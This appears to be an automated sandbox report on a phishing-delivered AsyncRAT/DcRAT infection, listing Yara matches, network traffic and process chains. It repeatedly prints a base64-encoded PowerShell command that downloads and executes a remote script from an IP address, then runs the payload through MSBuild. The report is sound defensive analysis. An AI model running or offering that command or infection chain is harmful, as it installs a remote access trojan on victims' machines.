Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.9.106:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.210.66:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.210.66:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.155.1.116:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.67.201.252:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.67.201.252:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 130.248.246.42:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.155.1.116:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.208.240:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.209.240:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.208.240:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.5:49767 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

E-Banking Fraud

Malicious encrypted Powershell command line found

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 00000015.00000002.2155302925.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000015.00000002.2154920630.0000000001310000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000015.00000002.2154920630.00000000012F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000015.00000002.2155302925.000000000326F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01203ED8 NtProtectVirtualMemory,		21_2_01203ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01203A80 NtProtectVirtualMemory,		21_2_01203A80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01209158	21_2_01209158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01203308	21_2_01203308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01208888	21_2_01208888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_012032F7	21_2_012032F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01208540	21_2_01208540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01209658	21_2_01209658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_0120C9C0	21_2_0120C9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 21_2_01203A80	21_2_01203A80

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 00000015.00000002.2155302925.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000015.00000002.2154920630.0000000001310000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000015.00000002.2154920630.00000000012F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000015.00000002.2155302925.000000000326F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.phis.bank.troj.expl.evad.win@40/52@29/13

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\wgzhwujraskz

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tjg5ebrn.y3x.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,12324069781819102970,8472768243414026003,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2004 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,12324069781819102970,8472768243414026003,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3800 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://myidverify.s3.us-east-1.amazonaws.com/redirect.html"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3E6E.tmp" "c:\Users\user\AppData\Local\Temp\y00ifih2\CSCF294E1DD957143A7ABBBA2AAFDECA1.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,12324069781819102970,8472768243414026003,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2004 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,12324069781819102970,8472768243414026003,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3800 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3E6E.tmp" "c:\Users\user\AppData\Local\Temp\y00ifih2\CSCF294E1DD957143A7ABBBA2AAFDECA1.TMP"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
